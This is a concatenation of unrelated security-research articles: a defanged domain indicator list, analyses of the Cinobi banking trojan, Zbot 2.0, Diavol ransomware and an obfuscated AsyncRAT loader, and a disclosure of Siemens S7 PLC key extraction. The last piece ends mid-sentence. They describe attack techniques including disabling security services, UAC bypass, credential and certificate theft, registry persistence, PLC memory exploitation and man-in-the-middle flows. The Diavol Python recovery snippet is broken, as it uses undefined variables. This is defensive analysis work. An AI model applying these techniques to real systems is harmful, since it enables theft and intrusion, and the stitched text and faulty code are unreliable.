**Domains** - lywjrea.gmarketshop[.]net - krjregh.sacreeflame[.]com - psfir.sacreeflame[.]com - lywja.healthsvsolu[.]com - phot.healthsvsolu[.]com - blog.softfix.co[.]kr - news.softfix.co[.]kr - www.gokickes[.]com - log.gokickes[.]com - sansei.jpn[.]com
# Operation Overtrap Targets Japanese Online Banking Users Via Bottle Exploit Kit and Brand-New Cinobi Banking Trojan **Posted on:** March 11, 2020 **Posted in:** Malware **Author:** Trend Micro By Jaromir Horejsi and Joseph C. Chen (Threat Researchers) We recently discovered a new campaign that we dubbed “Operation Overtrap” for the numerous ways it can infect or trap victims with its payload. The campaign mainly targets online users of various Japanese banks by stealing their banking credentials using a three-pronged attack. Based on our telemetry, Operation Overtrap has been active since April 2019 and has been solely targeting online banking users located in Japan. Our analysis found that this campaign uses three different attack vectors to steal its victims’ banking credentials: 1. By sending spam emails with a phishing link to a page disguised as a banking website. 2. By sending spam emails asking victims to run a disguised malware’s executable downloaded from a linked phishing page. 3. By using a custom exploit kit to deliver malware via malvertising. This blog will discuss how we discovered the campaign and introduce the brand-new banking trojan Cinobi. Meanwhile, a detailed look at the different attack vectors associated with this campaign, and a more in-depth analysis of dropped configuration files as well as Cinobi’s features, are discussed in our technical brief. ## Technical Analysis ### Discovering Operation Overtrap We first discovered the campaign in September 2019 using a then-unidentified exploit kit. Based on our data, Operation Overtrap has been using spam emails to deliver its payload to victims as early as April 2019. In mid-September, we observed a significant number of victims being redirected to the exploit kit, which targeted Internet Explorer, after they have clicked on links from social media platforms. It should be noted, however, that the way the victims received the links has not been identified. It is also worth mentioning that Operation Overtrap only seems to target Japanese online banking users; it redirects victims with other geolocations to a fake online shop. Upon analysis, we saw that the exploit kit only dropped a clean binary that does not perform malicious activities on a victim’s device. It also immediately closes after infection. It is still unclear why the threat actors behind Operation Overtrap initially delivered a clean binary file; it’s possible that they were testing their custom exploit kit during this stage of the campaign’s development. ### Operation Overtrap’s Custom Exploit Kit: Bottle Exploit Kit On September 29, 2019, we observed that the exploit kit ceased to drop a clean file and instead delivered a brand-new banking trojan that we dubbed “Cinobi.” We also noted that the threat actors behind Operation Overtrap have stopped redirecting victims from social media and began to use a Japan-targeted malvertising campaign to push their custom exploit kit. Another researcher later discovered the custom exploit kit, which was named the Bottle Exploit Kit (BottleEK). It exploits CVE-2018-15982, a Flash Player use after free vulnerability, as well as CVE-2018-8174, a VBScript remote code execution vulnerability. Victims will be infected with BottleEK’s payload if they access this particular exploit kit’s landing page with unpatched or outdated browsers. Our telemetry shows that BottleEK was the most active exploit kit detected in Japan in February 2020. ### Brand-new banking malware: Cinobi Operation Overtrap used a new banking malware we’ve decided to call Cinobi. Based on our analysis, Cinobi has two versions — the first one has a DLL library injection payload that compromises victims’ web browsers to perform form-grabbing. This Cinobi version can also modify web traffic sent to and received from targeted websites. Our investigation found that all the websites that this campaign targeted were those of Japan-based banks. Aside from form-grabbing, it also has a webinject function that allows cybercriminals to modify accessed webpages. The second version has all the capabilities of the first one plus the ability to communicate with a command-and-control (C&C) server over the Tor proxy. ### Cinobi’s four stages of infection Each of Cinobi’s four stages contains an encrypted position-independent shellcode that makes analysis slightly more complicated. Each stage is downloaded from a C&C server after certain conditions have been met. #### First stage The first stage of Cinobi’s infection chain, which has also been analyzed by another cybersecurity researcher, starts by calling the “GetUserDefaultUILanguages” function to check if the infected device’s local settings are set to Japanese. Cinobi will then download legitimate unzip.exe and Tor applications from the following locations: - ftp://ftp[.]cadwork.ch/DVD_V20/cadwork.dir/COM/unzip[.]exe - https://archive[.]torproject[.]org/tor-package-archive/torbrowser/8.0.8/tor-win32-0.3.5.8[.]zip After extracting the Tor archive into the “\AppData\LocalLow\” directory, Cinobi will rename tor.exe to taskhost.exe and execute it. It will also run tor.exe with custom torrc file settings. It will download the second stage of the malware payload from a .onion C&C address and save it in a randomly named .DLL file within the “\AppData\LocalLow\” folder. The filename of the first stage downloader is saved into a .JPG file with a random name. #### Second stage Cinobi will connect to its C&C server to download and decrypt the file for the third stage of its infection chain. We observed that the filename of the third stage starts with the letter C, followed by random characters. Afterward, it will download and decrypt the file for the fourth stage, which has a filename that starts with the letter A, followed by random characters. After these, Cinobi will download and decrypt a config file (<random_name>.txt) that contains a new C&C address. Cinobi uses RC4 encryption with a hardcoded key. Next, Cinobi will run the downloaded third stage infection file using the UAC bypass method via the CMSTPLUA COM interface. #### Third stage During the third infection stage, Cinobi will copy malware files from “\AppData\LocalLow\” to the “%PUBLIC%” folder. It will then install the fourth stage of the downloader (which was downloaded during the second stage) as Winsock Layered Service Provider (WSCInstallProviderAndChains). Cinobi will then perform the following actions: - Change spooler service config to “SERVICE_AUTO_START” - Disable the following services: - UsoSvc - Wuauserv - WaaSMedicSvc - SecurityHealthService - DisableAntiSpyware - Copy and extract Tor files to “%PUBLIC%” folder - Rename tor.exe to taskhost.exe - Create torrc in “%PUBLIC%” with the content “DataDirectory C:\Users\Public\<random_name>\data\tor” - Create .JPG file with the original dropper name - Remove files from “\AppData\LocalLow,” remove original dropper file #### Fourth stage Cinobi will call the WSCEnumProtocols function to retrieve information about available transport protocols. It will also call the WSCGetProviderPath function to retrieve the DLL path of the original transport provider. This function is called twice. The first call will return the malicious provider (as the fourth stage of the malware has already been installed during the third stage of infection). The second call will return the original transport provider (“%SystemRoot%\system32\mswsock.dll”) and resolve and call its WSPStartup function. Cinobi will then check the name of the process in which the malicious DLL provider gets injected. In practice, Cinobi should be injected into all processes that make network connections using Windows sockets. ## Best practices against spam and vulnerabilities Operation Overtrap uses a variety of attack vectors to steal banking credentials. Users and organizations need to adopt best practices to protect their systems against messaging-related threats and avoid malicious advertisements. An example of a best practice is to have a central point for reporting suspicious emails. Organizations, through their IT teams, need to have a centralized information gathering system, and all employees must be aware of the reporting procedure for suspicious emails. Meanwhile, users can avoid malicious advertisements by avoiding clicking on suspicious links or pop-ups and updating software via official channels. Organizations will benefit from regularly updating systems (or use virtual patching for legacy systems) to prevent attackers from taking advantage of security gaps. Additional security mechanisms like firewalls and intrusion detection and prevention systems will help thwart suspicious network activities such as data exfiltration or C&C communication. ## Trend Micro Solutions Organizations can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security. Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs. Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs. Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection that stops spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network. It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions. For defending against malvertising campaigns in general, users can employ Trend Micro™ Maximum Security, which protects consumers via a multi-layered defense that delivers highly effective and efficient protection against ever-evolving threats. Trend Micro™ Smart Protection Suites also protect businesses against these types of threats by providing threat protection techniques designed to eliminate security gaps across multiple users and endpoints. You may read our in-depth analysis of Operation Overtrap in this technical brief, which also contains details about possible links to other phishing campaigns and the indicators of compromise. ## Tags - banking malware - banking Trojan - Bottle exploit kit - BottleEK - Cinobi - exploit kit - Operation Overtrap
# Endpoint Protection Zeus/Zbot is one of the most widely known Internet threats today. It’s been around since 2007 and has evolved over time, and is still in a constant state of being developed into a stronger, more prolific Trojan. A few weeks ago we came across a variant of Zbot representing the fact that it has undergone code refactoring and some functional changes in the Trojan's infection technique and behavior. The variant is now known as version 2.0 (named after the Trojan builder kit version). In overview, for the common PC user, new changes mean that: - Your PC could have multiple infections of Zbot, thereby sending your personal information to multiple Zbot controllers. - Zbot is aiming for information from different browsers, including Firefox. - Zbot is expanding its ability to run in newer operating systems such as Windows 7. - Zbot is in constant development, so it might be around for few more years to come. - Removing Zbot manually isn't going to be straightforward. The same applies for other threats that claim to have a 'Kill Zeus' module. Let’s briefly look at some of the changes in 2.0. For the uninitiated, please read our previously published paper on Zeus entitled “Zeus: King of the Bots.” ## On your “command,” Master The built-in commands supported by the Trojan have changed; below is the comparison table: | Version 2.0 command | Functionality | Version 1.x command | |-----------------------------|------------------------------------------------------------|----------------------| | user_flashplayer_get | Gets the Flash player data from a user’s system | -- | | user_ftpclients_get | Steals passwords from FlashFXP, total_commander, ws_ftp, fileZilla, FAR2, winscp, ftp_commander, coreFTP, and smartftp | Resetgrab | | user_homepage_set | Set the browser’s home page to desired URL | Sethomepage | | user_url_unblock | Restore access to an attacker-desired URL | Unblock_url | | user_url_block | Disable access to an attacker-desired URL | Block_url | | user_certs_remove | Removes certificate | -- | | user_certs_get | Steal digital certificates | Getcerts | | user_cookies_remove | Delete browser cookies | Delmff (partly) | | user_cookies_get | Upload cookies | Getmff (partly) | | user_execute | Download and execute a file | Consolidation of 'Rexec', 'Lexec' & 'Lexeci' | | user_logoff | Log off user | -- | | bot_bc_remove | Removes a back door connection | Bc_del | | bot_bc_add | Initiate back door by back-connecting to a server and allow arbitrary command execution via the command shell | Bc_add | | bot_update | Download and update bot config (sets in registry as well), download and execute new bot installer | Consolidation of 'Upcfg' & 'Rename_bot' | | bot_uninstall | Remove bot altogether | -- | | os_reboot | Reboot the computers | Reboot | | os_shutdown | Shut down the computer | Shutdown | | user_destroy | (not implemented) possibly to delete all user files | Kos | | fs_search_remove | (not implemented) possibly to add a file mask for local search | Delsf | | fs_search_add | (not implemented) possibly to upload a file or folder | Addsf | | fs_path_get | (not implemented) possibly to disable http inject | Getfile | | bot_httpinject_disable | (not implemented) possibly to enable http inject | Block_fake | | bot_httpinject_enable | (not implemented) possibly to enable http inject | Unlock_url | Some of the commands in 2.0 aren’t implemented yet, which only leads us to one conclusion: it is under continuous development. ## Sneak in When executed, initial thread injection into other processes is as follows: - The processes “explorer.exe”, “taskeng.exe”, and “taskhost.exe” are injected with the below four threads: 1. A thread to open a back door channel. 2. A thread to download threat-related data. 3. A thread to inject into other running processes. 4. A thread to perform bot instructions from config stored in the registry. A single thread is injected into the processes “rdpclip.exe”, “ctfmon.exe”, and “wscntfy.exe” (the single thread’s job is to inject into every other process). ## The “Hijack” The APIs shown in the table below are hijacked from the injected process memory. We can see that version 2.0 is now able to hook NSPR APIs (used by Mozilla Firefox) to read and write to data that it receives and sends: | Zbot 1.x hooked APIs | Zbot 2.0 hooked APIs | |-----------------------------|-----------------------------| | WININET.DLL | WININET.DLL | | HttpSendRequestW | HttpSendRequestW | | HttpSendRequestA | HttpSendRequestA | | HttpSendRequestExW | HttpSendRequestExW | | HttpSendRequestExA | HttpSendRequestExA | | InternetReadFile | InternetReadFile | | InternetReadFileExA | InternetReadFileExA | | InternetQueryDataAvailable | InternetQueryDataAvailable | | InternetCloseHandle | InternetCloseHandle | | HttpQueryInfoA | HttpQueryInfoA | | WS2_32.DLL | WS2_32.DLL | | closesocket | send | | send | sendto | | WSASend | WSASend | | USER32.DLL | USER32.DLL | | TranslateMessage | GetMessageW | | GetClipboardData | GetClipboardData | | NSPR4.DLL | NSPR4.DLL | | PR_OpenTCPSocket | PR_OpenTCPSocket | | PR_Close | PR_Close | | PR_Read | PR_Read | | PR_Write | PR_Write | | CRYPT32.DLL | CRYPT32.DLL | | PFXImportCertStore | PFXImportCertStore | | NTDLL.DLL | NTDLL.DLL | | LdrLoadDll | LdrLoadDll | | NtCreateThread | NtCreateThread | | KERNEL32.DLL | KERNEL32.DLL | | GetFileAttributesEx | GetFileAttributesEx | Zbot version 2.0 drops another smaller .exe of equivalent functionality but packed by a different executable packer into `%User Profile%\Application Data\[randomfolder]\[random name].exe` (where `[random name]`, `[random folder]` is generated based on Mersenne's pseudo-random number generator). For comparison’s sake, version 1.x copied itself to a fixed path with a constant filename under “%System%” and added some random content in its appended data every time, making its file hash different. ## Revival Version 2.0 adds the following registry key: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\` `{[VOL_GUID]}" = "%User Profile%\Application Data\[random folder]\[random name].exe` (Where `[VOL_GUID]` is the volume GUID of WINDOWS mount point. And `[random name]`, `[random folder]` is generated based on Mersenne's Pseudo random number generator.) This is compared to version 1.x, which added: `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Userinit" = "%System%\userinit.exe, %System%\<threatfilename>.exe` ## “Exclusive” rights Mutex and PIPE names used for the exclusion and inter-thread communications in 2.0 now use GUID (instead of fixed Mutex names, as in 1.x). This enables multiple instances of Zbot, created by different bot builders, to run alongside one another simultaneously. ## “Phish” me not Disables Internet Explorer’s phishing filter by setting the following keys: - `HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PhishingFilter\"Enabled" = dword:0` - `HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\PhishingFilter\"EnabledV8" = dword:0` ## “Passwords” are (not) safe Version 2.0 steals passwords from the following FTP clients, which is similar to what was seen in version 1.x: “FlashFXP”, “total_commander”, “ws_ftp”, “fileZilla”, “FAR2”, “winscp”, “ftp_commander”, “coreFTP” & “smartftp”. ## “Log” my move It can also take screen shots and log keystrokes (by hooking API 'TranslateMessage'). It adds the following extra headers to the http communication through hijacked APIs 'HttpSendRequestW', 'HttpSendRequestA', 'HttpSendRequestExW', and 'HttpSendRequestExA': - "Accept-Encoding: identity\r\n" - "TE:\r\n" - "If-Modified-Since:\r\n" All of the network data that is sent out through the APIs 'send' and 'WSASend' is uploaded to a pre-configured anonymous FTP site. ## Keys are no longer “private” Attempts to steal private keys from certificates by hooking API 'PFXImportCertStore', similar to version 1.x. ## “Change” is inevitable By hooking the ‘PR_Read’ and ‘PR_Write’ APIs of NSPR4.dll, it is able to modify and read data sent by Mozilla Firefox, whereas versions 1.x could not. This means it has the ability to inject code forms and code into banking websites browsed through by Mozilla Firefox. ## For the sake of “argument” Somewhat unusually, Zbot 2.0 also accepts command line arguments. It accepts "-f" and “-n” as parameters. “-f” is used to alter registry use and “-n” is to prevent dropper threats from being self-deleted. This was probably used during the testing phase of Zbot and accidentally included in this release. ## A little per-“spec”-tive The Zeus config file has undergone changes too. Additional layers of encryption were added to deter security analysts—below are a few screen shots of a decoded config file: The screenshot above shows some search strings that are used by Zeus to collect user information from various popular sites. The above screenshot of a config file shows Zeus’s malicious JavaScript code that will be injected into the web browser in order to steal some private questions and answers that the user has provided to a banking website. The above screenshot shows script code that tricks users into giving away their bank PIN numbers. Such code injection into a Web browser can trick an everyday user into believing that their bank is legitimately requesting the information. Symantec’s protection summary on Trojan.Zbot can be found at Symantec. We at Symantec continuously monitor and track such Trojans and update generic detection signatures as soon as new variants are released. Please, as always, keep your antivirus and IDS/IPS products up to date to ensure the best possible protection against threats.
# The Race to Native Code Execution in PLCs: Using RCE to Uncover Siemens SIMATIC S7-1200/1500 Hardcoded Cryptographic Keys **Team82 Research** October 11th, 2022 ## Executive Summary Team82 has developed a new, innovative method to extract heavily guarded, hardcoded, global private cryptographic keys embedded within the Siemens SIMATIC S7-1200/1500 PLC and TIA Portal product lines. An attacker can use these keys to perform multiple advanced attacks against Siemens SIMATIC devices and the related TIA Portal, while bypassing all four of its access level protections. A malicious actor could use this secret information to compromise the entire SIMATIC S7-1200/1500 product line in an irreparable way. All technical information was disclosed to Siemens, which released new versions of the affected PLCs and engineering workstation that address this vulnerability. CVE-2022-38465 has been assigned, and a CVSS v3 score of 9.3 was assessed. In addition, an attacker can develop an independent Siemens SIMATIC client (without requiring the TIA Portal) and perform full upload/download procedures, conduct man-in-the-middle attacks, and intercept and decrypt passive OMS+ network traffic. This work is an extension of our previous research into Siemens SIMATIC PLCs. Siemens has updated both the S7-1200 and S7-1500 PLCs and the TIA Portal, and urges users to move to current versions. This disclosure has led to the introduction of a new TLS management system in TIA Portal v17, ensuring that configuration data and communications between Siemens PLCs and engineering workstations is encrypted and confidential. ## Introduction Close to 10 years ago, Siemens introduced asymmetric cryptography into the integrated security architecture of its TIA Portal v12 and SIMATIC S7-1200/1500 PLC CPU firmware families. This was done to ensure the integrity and confidentiality of devices and user programs, as well as for the protection of device communication within industrial environments. Dynamic key management and distribution did not exist then for industrial control systems, largely because of the operational burden that key management systems would put on integrators and users. Siemens decided at the time instead to rely on fixed cryptographic keys to secure programming and communications between its PLCs and the TIA portal. Since then, however, advances in technology, security research, and a swiftly changing threat landscape have rendered such hardcoded crypto keys an unacceptable risk. A malicious actor who is able to extract a global, hardcoded key could compromise the entire device product line security in an irreparable way. Team82 has to date conducted extensive research into PLC security, working closely with leading vendors to eradicate such practices as hardcoded keys, demonstrate the risk they pose to users’ systems, and improve the overall security of the industrial automation ecosystem. Our latest work—an extension of previous research conducted on Siemens SIMATIC S7-1200 and S7-1500 PLCs, as well as Rockwell Automation’s Logix controllers and Studio 5000 Logix Designer—continues on that path. We uncovered and disclosed to Siemens a new and innovative technique targeting SIMATIC S7-1200 and S7-1500 PLC CPUs that enabled our researchers to recover a global hardcoded cryptographic key (CVE-2022-38465) used by each Siemens affected product line. The key, if extracted by an attacker, would give them full control over every PLC per affected Siemens product line. Using a vulnerability uncovered in previous research (CVE-2020-15782) on Siemens PLCs that enabled us to bypass native memory protections on the PLC and gain read and write privileges in order to remotely execute code, we were able to extract the internal, heavily guarded private key used across the Siemens product lines. This new knowledge allowed us to implement the full protocol stack, encrypt and decrypt protected communication, and configurations. Siemens’ response to this private disclosure led to an overhaul of the cryptographic schemes protecting its flagship PLC lines, as well as its TIA Portal engineering workstation application. Siemens acknowledged in a security advisory that existing protections around its hardcoded key are no longer sufficient and invested the resources and time necessary to introduce a dynamic public-key infrastructure (PKI) that eliminates the use of hardcoded keys. Siemens recommends users immediately update SIMATIC S7-1200 and S7-1500 PLCs and corresponding versions of the TIA Portal project to the latest versions. TIA Portal V17 and related CPU firmware versions include the new PKI system protecting confidential configuration data based on individual passwords per device and TLS-protected PG/PC and HMI communication, Siemens said in its advisory. ## Technical Details ### Siemens Access Restriction Mechanisms A prominent security feature of Siemens PLCs is an access level restriction mechanism that is enforced with password protection. A password is configured within the project that is downloaded to the PLC along with a desired protection level. Those levels are: - **Level 1:** Full read and write access to any configuration and logic block - **Level 2:** Write protection: Can read everything, can change PLC modes - **Level 3:** Limited read access: Can read HMI data (values etc.), can read diagnostic data - **Level 4:** Full protection: Cannot communicate with the PLC without password All four levels use the same security mechanism to grant permissions to the user. The only difference between them is the extent of permissions granted with or without authentication. A password is requested upon any connection to the PLC. ### Understanding S7-1200, S7-1500 Encryption The asymmetric encryption procedures on the Siemens flagship PLCs have two principal purposes: - **Authentication:** A shared derived session key that authenticates a user when communicating with a PLC. - **Confidentiality:** Encrypting data during portions of said communication, i.e., downloaded logic. We were able to understand the encryption algorithm, which was based on Elliptic Curve asymmetric encryption. We found the curve parameters as well as an added complication: the use of a “configuration key” to further obfuscate and complicate the elliptical multiplication process. Eventually, we were able to uncover all the relevant keys involved in the encryption process: - **Connection Key:** Used for packet integrity verification and authentication. - **CPU Key:** A “per-model/firmware” (e.g., S7-1518, S7-1517) key used to encrypt configurations, code, and maintain code integrity. - **Family Key:** A “per-family” (e.g., S7-1200, S7-1500) used for the same purposes as the CPU key when the CPU key is not known. ### Gaining Code Execution on the PLC After reverse engineering one of Siemens SIMATIC .upd firmware S7-1200 which were unencrypted, we learned that the private key does not reside within the firmware files; therefore, we would have to extract it somehow directly from the PLC. In order to retrieve the private key from the PLC, we needed direct memory access (DA) to be able to search for it. To be able to perform DA actions, we searched and found a remote code execution vulnerability on both the 1200/1500 PLC series. The vulnerability (CVE-2020-15782) was triggered through a specific MC7+ function code containing our own crafted shellcode bytecode. The vulnerability logic for CVE-2020-15782 works as follows: 1. Use [REDACTED] opcode, which has no security memory region checks, to copy an internal struct containing a native pointer to a valid memory area to a writable memory area. 2. Change the pointer inside this struct to our desired address. 3. Recalculate the CRC that was used to verify this struct (using the CRC32 opcode). 4. Copy the struct back to its original location, now pointing to our desired address, using the [REDACTED] opcode. At this point, we may use indirect access to the new address in our crafted struct. We could now read or write from any memory address in the PLC. Using this capability, we could override native code and execute any desired native logic. Using the RCE to Obtain the Hidden Private Key Using the DA read permission we obtained, we were able to extract the entire encrypted PLC firmware (SIMATIC S7-1500) and map its functions. During the mapping process, we found a function that read the private key on the PLC. Once we had the function address, we rewrote the functionality of specific MC7+ opcodes with our shell code, forcing them to call the native function that reads the private key. We then copied the key to a known memory address and read it from there. Executing the overwritten function gave us the full private key of the PLC. We later discovered that these keys are shared across each Siemens SIMATIC S7 product line and immediately started a coordinated disclosure process with Siemens. This resulted in a new advisory and CVE-2022-38465. Using the same methodology, we were able to extract the configuration key from the CPU. Combining the private key, with the configuration key, and knowledge of the algorithm allowed us to implement the full protocol stack, encrypt/decrypt protected communication, and configurations. ### Attack Flows: Gaining Control over a PLC and Process Using the private key we were able to extract, an attacker may gain full control over a PLC. #### Attacks on the Password The attacks described below allow an attacker with knowledge of the PLC’s private key and encryption algorithm to retrieve the configured password on the PLC, thus gaining full control regardless of the protection level configured on the device. - **Obtain the Configuration and decrypt the password hash:** If the PLC is in a protection level lower than 3, an attacker can retrieve the configuration from the PLC (Upload procedure) with no special permission required. Once uploaded, the attacker has the PLC configuration and can use the private key to decrypt the password hash from the uploaded configuration. Using the decrypted password hash, the attacker can authenticate to the PLC and gain higher privileges. - **Man in the Middle:** An attacker with knowledge of the encryption mechanism of the traffic, as well as access to the private key, can impersonate the PLC in a connection. The man-in-the-middle attack is performed in the following steps: 1. The client (victim) connects to the attacker’s phony PLC and sends an encrypted connection key. 2. The attacker decrypts the connection key and uses the decrypted key to connect to the real PLC. Once connected, the attacker receives a password-based challenge. 3. The attacker forwards the real PLC’s challenge to the client and receives a valid challenge response. 4. The attacker then forwards the challenge response to the real PLC to set up an authenticated connection. This session will be a fully privileged session. At this point, the attacker may change any configuration or blocks on the PLC or read the configuration. This access includes the ability to read the encrypted password hash from the PLC and decrypt it. - **Passive Traffic Interception:** An attacker with passive access to capture traffic to a given PLC on the network can intercept configuration reads/writes from the PLC. Using the private key, the attacker can decrypt the configuration and extract the password hash. With the password hash, the attacker can authenticate to the controller and write a new configuration. ## Summary This attack (CVE-2022-38465) was made possible due to the ability to execute native code on S7 PLCs we achieved with our previous research CVE-2020-15782. Using native code execution, we were able to read the raw memory region protecting the private key and eventually fully recover the key. By extracting the PLC’s hardcoded private key, we were able to demonstrate multiple attack scenarios including decryption of all communication between S7 PLCs and an EWS, decryption of the configured password hash on the PLC, which we could use to gain full access to the PLC, conduct man-in-the-middle attacks, and more. Users should update to current versions of the S7-1200 and S7-1500 PLC families, as well as TIA Portal v17, as advised by Siemens. TIA Portal v17 introduces a TLS management system in order to encrypt communication. Siemens also introduced a preactivated PLC configuration password requirement, that ensures all confidential PLC configuration data are protected by default as well as predefined secure PG/HMI communication, which prevents unsecured communication with other partners, and preactivated PLC access protection, that prevents any type of access to the controller unless explicitly configured. ## The Vulnerability **CVE-2022-38465** **CWE-522 Insufficiently Protected Credentials** **CVSS v3 score:** 9.3 **Description:** SIMATIC S7-1200, S7-1500 CPUs and related products protect the built-in global private key in a way that cannot be considered sufficient any longer. The key is used for the legacy protection of confidential configuration data and the legacy PG/PC and HMI communication. This could allow attackers to discover the private key of a CPU product family by an offline attack against a single CPU of the family. Attackers could then use this knowledge to extract confidential configuration data from projects that are protected by that key or to perform attacks against legacy PG/PC and HMI communication. ## Acknowledgment Team82 would like to thank Siemens for its coordination in working through this disclosure and for its swift response in confirming our findings and patching these vulnerabilities.
# Diavol: The Enigma of Ransomware Diavol ransomware was first publicly reported by Fortinet in July 2021. The posting included a technical analysis of the file that was allegedly dropped from a previous engagement in June 2021. According to the blog, the Diavol variant was found alongside a Conti (v3) sample, which had also been spread during the same attack. In a follow-up article by IBM-Xforce, the researchers concluded a stronger link existed between the development of Diavol and the operators behind Trickbot malware. While multiple samples have been found in the wild, they appear to contain development artifacts. It was clear the locker was utilized but there was no mention of a leak site and nothing had been identified publicly. After analyzing the binary, we spotted some interesting infrastructure and began to investigate. The domain name enigma-hq.net stood out and was associated with ‘195.123.221.248’. According to passive DNS records, an update had occurred and enigma-hq.net was changed to diavol-news.net. ## Technical Overview Diavol comes with an interesting assortment of code blocks onboard to accomplish various tasks: The BITMAP objects contain the code while the JPEG objects contain the imports that need to be resolved. There are two interesting pieces that we discovered from our analysis. One is that because of the way VSSMOD works, you can plug and play various ways to wipe shadow copies, and the other is the way file encryption works. ### Shadow Copies For one of the samples we analyzed, the shadow copies were wiped using WinAPI, which doesn’t appear to be used very often by ransomware. After calling CreateVssBackupComponents, you can use the IVssBackupComponents class which can then be leveraged to delete snapshots. ### Encryption File encryption in Diavol is interesting; it has a routine for decoding the onboard RSA public key and importing it before encrypting the key that will be used to encrypt the files. The file encryption key is 2048 bytes long and is randomly generated; however, the encryption is simply XORing the files in chunks of 2048. Since the file encryption key is being used across multiple files and is simply a XOR operation, we can abuse known plaintext vulnerabilities to recover files. ``` A = ClearText B = EncryptedFile1 C = EncryptedFile2 key = A[:2048] ^ B[:2048] DecodedFileChunk = key[:2048] ^ C[:2048] ``` We can test this using files from a sandbox run along with a random MSI file which has a semi-static first chunk of bytes. It won’t be a clean decrypt by any means but would prove out our hypothesis: ```python clear = open('a4ce1d7dfc5ab1fdee8cd0eb97d19c88a04deb8fe6b7b58413a9e2c93eb4a79d.msi', 'rb').read() b = bytearray(open('powerpointmui.msi.lock64', 'rb').read()) c = open('sharepointdesignermui.msi.lock64', 'rb').read() key = bytearray(a[:2048]) for i in range(len(test)): test[i] ^= b[i] temp = bytearray(c) for i in range(len(temp)): temp[i] ^= test[i % len(test)] temp[:5000] ``` It appears to have worked, and since the file encryption key is generated on a per-infection basis, we simply only need to abuse this technique to recover 2048 bytes once in order to then recover all the files on the system.
# Advanced CyberChef Tips: AsyncRAT Loader The Huntress ThreatOps team encountered and investigated an infection involving a malicious malware loader on a Huntress-protected host. This investigation was initiated via persistence monitoring, which triggered on a suspicious Visual Basic (.vbs) script persisting via a scheduled task. The script was highly obfuscated and required manual analysis and decoding to investigate. Today we’ll demonstrate our methods and thought process for manually decoding the malware. We'll primarily be using CyberChef, alongside RegExper for validating regular expressions. ## Let's Get Started The initial investigation was for a persistent .vbs file residing inside of a user's startup directory. There are few legitimate reasons for a .vbs file to be persistent, so we immediately obtained the file for further analysis and investigation. Given that .vbs is text-based, we transferred the file into an analysis Virtual Machine and opened it using a text editor. Upon realizing the script was obfuscated, we transferred the contents into CyberChef. ## Analysing the File The obfuscated contents of the script can be seen below. There are numerous forms of obfuscation used - (Chr(45), StrReverse, Replace, etc.) We simplified the script using a syntax highlighter set to "vbscript". Syntax highlighting is a simple and effective means to improve the readability of an obfuscated script, prior to doing any form of manipulation or analysis. **Tip:** Leaving the language as “auto-detect” will work, but we have found that highlighting is significantly quicker if specified manually. This also solves the occasional issue where CyberChef incorrectly identifies the language of an obfuscated script. ### Obfuscation 1: Decimal Encoded Values Delving into the first few lines of output, there are numerous numerical values scattered around. Each numerical value is contained within a “chr” function. A quick Google reveals that "chr" is a built-in Visual Basic function that converts decimal values into their plaintext/ASCII representation. Here are the “chr” obfuscated values in their original obfuscated form. These numerical values can be crudely decoded using CyberChef, by manually copying out each value and applying "From Decimal". Manually copying the values is simple and will work most of the time, but it is time-consuming for a large script and requires an analyst to manually copy the results back into the original script. We'll now show how to automate this process using CyberChef. ### Obfuscation 1: Automating the From Decimal Using CyberChef To automate the decimal decoding, the ThreatOps team utilized some regex and advanced CyberChef tactics. At a high level, this consisted of: - Developing a regex that would find decimal encoded values (locate the encoded data) - Converting this regex into a subsection (this tells CyberChef to act ONLY on the encoded data) - Extracting decimal values (Remove the "chr" and any surrounding data) - Decoding the results (Perform the "From Decimal" decoding) - Removing surrounding junk (Cleaning up any remaining junk) - Restoring the script back to “normal” We first implemented a regex pattern to automatically highlight and extract “chr” encoded values from the original script. As a means of testing our initial regex, we utilized the “Regular Expression” and “Highlight Matches” option in CyberChef. This allowed the effectiveness of our regex to be observed in real-time. If anything didn’t match as intended, we could easily adjust the regex and the highlighting would update accordingly. The “Highlight Matches” provides similar functionality to the popular regex testing site regex101. A visual representation of the regex can be seen here - courtesy of regexper.com. The regex successfully matched the “chr” and encoded numerical values, so we then converted it into a “subsection”. A subsection takes a regex as input, and forces all future operations to match only on values that match the regex. A TLDR: A subsection is a feature of CyberChef that forces all future operations to apply only to values that match a provided regex. This was useful to avoid accidentally decoding numerical values which are unrelated to the “chr” functions and encoding. To hone in on our values, we replaced our previous regex with a subsection. At first glance this isn't exciting - but the true power arrives when the recipe is expanded. For example, the “chr” can now be easily removed, leaving only the brackets () and decimal values. By applying the subsection before the find/replace, we can use the "chr" as a marker to hone in on specific values. A second regex can now be applied, this will extract only the numerical values our previous regex. Honing in on those results, we can see that the “chr” and “()” have been removed. This leaves only the integers/numerical values, as well as the “&” used for string concatenation. A “from decimal” can then be added, which will convert those numerical values back into ASCII. Close up, it’s still a bit messy, but we’ll deal with that in a moment. For now, we can observe that the “chr” operations have been replaced with their ASCII equivalents. In order to clean up for good, we needed to do two things. First, we would need to undo our subsection. This would allow us to remove the “&” operations that were not included in our initial regex. This can be done with a “merge” operation. We then utilized a Find/Replace to remove the quote “” and “&” junk. The recipe then looked like this. The most complex piece is the `&?”&?\+?` regex. This looks for any quotes that are preceded or followed by an & character. The (?) specifies that the “&” is optional. We then had a nice decoded value and no remaining “chr” operations in our script. If you’re confident with your regex, you could incorporate the previous two into one. This ultimately leaves something conceptually the same, but slightly cleaner than the original recipe we had before, at the cost of a slightly more complex regex. ### Obfuscation 1: Conclusion **TLDR - Defeating Decimal Encoding:** - Use regex to locate the encoded values (locate the chr) - Use a subsection to ‘act’ on the encoded values (Hone in on the chr) - Use Find/Replace to remove surrounding junk (remove the chr) - Perform the decoding (from decimal) - If necessary, remove any additional junk (remove the string concatenation) - Make it pretty with a syntax highlighter ### Obfuscation 2: Reversed Strings Further analysis 